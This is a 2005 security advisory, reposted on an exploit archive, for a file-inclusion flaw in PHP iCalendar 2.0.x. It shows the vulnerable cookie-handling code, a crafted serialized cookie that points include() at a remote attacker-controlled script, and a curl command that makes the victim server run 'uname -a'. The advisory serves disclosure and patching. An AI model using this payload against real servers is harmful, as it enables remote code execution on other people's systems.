exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PHP iCalendar Cross Site Scripting

PHP iCalendar Cross Site Scripting
Posted Oct 27, 2005
Authored by Francesco Ongaro | Site ush.it

PHP iCalendar versions 2.0a2, 2.0b, 2.0c, and 2.0.1 are susceptible to a cross site scripting vulnerability. Exploitation details provided.

tags | exploit, php, xss
SHA-256 | 9f0ca61b9a7c8067bc32bf77050ea673995d4a2229d755fff83257c3138fc38e

PHP iCalendar Cross Site Scripting

Change Mirror Download
PHP iCalendar CSS

Name Cross-Site-Scripting Vulnerabilities in PHP iCalendar
Systems Affected PHP iCalendar 2.0a2, 2.0b, 2.0c, 2.0.1
Severity Medium Risk
Vendor http://www.phpicalendar.net
Advisory http://www.ush.it/2005/10/25/php-icalendar-css/
Additional (it) http://www.ush.it/team/ascii/hack-PHP-iCalendar/adv.txt
Author Francesco 'aScii' Ongaro (ascii at katamail . com)
Date 20051023

I. BACKGROUND

PHP iCalendar is a php calendar, more information is available at the
vendor site.

II. DESCRIPTION

PHP iCalendar is vulnerable to Cross Site Scripting cause of a wrong
input validation in index.php and will include an arbitrary file
ending with .php.

The vulnerable code is:

> config.inc.php

$printview_default = 'no';

> index.php

if (isset($_COOKIE['phpicalendar'])) {
$phpicalendar = unserialize(stripslashes($_COOKIE['phpicalendar']));
$default_view = $phpicalendar['cookie_view'];
}

if ($printview_default == 'yes') {
$printview = $default_view;
$default_view = "print.php";
} else {
$default_view = "$default_view".".php";
}

include($default_view);

As you can see there is no input validation at all.

III. ANALYSIS

This vulnerability can be exploited using an hand-crafted cookie with
the right serialized array inside.

a:1:{s:11:"cookie_view";s:23:"http://www.mali.cious/script";}

curl http://www.vic.tim/path/ -b 'phpicalendar=a%3A1%3A%7Bs%3A11%3A%22cook
ie_view%22%3Bs%3A34%3A%22http%3A%2F%2Fwww.
ush.it%2Fteam%2Fascii%2F-----%22%3B%7D' -d 'user=uname -a'

IV. DETECTION

PHP iCalendar 2.0a2, 2.0b, 2.0c, 2.0.1 are vulnerable.

V. WORKAROUND

Input validation or header location will fix the vulnerability.
PHP no remote fopen and open basedir will play also (if not..).

VI. VENDOR RESPONSE

Vendor fixed the bug in the cvs tree, not verified.

http://www.ush.it/team/ascii/hack-PHP-iCalendar/mail1.txt
http://www.ush.it/team/ascii/hack-PHP-iCalendar/mail2.txt

VII. CVE INFORMATION

No CVE at this time.

VIII. DISCLOSURE TIMELINE

20051023 Bug discovered
20051024 Working exploit written
20051025 Sikurezza.org notification
20051025 Initial vendor notification
20051025 Initial vendor response
20051025 Vendor CVS fix
20051025 Public disclosure

IX. CREDIT

ascii is credited with the discovery of this vulnerability.

X. LEGAL NOTICES

Copyright (c) 2005 Francesco 'aScii' Ongaro

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close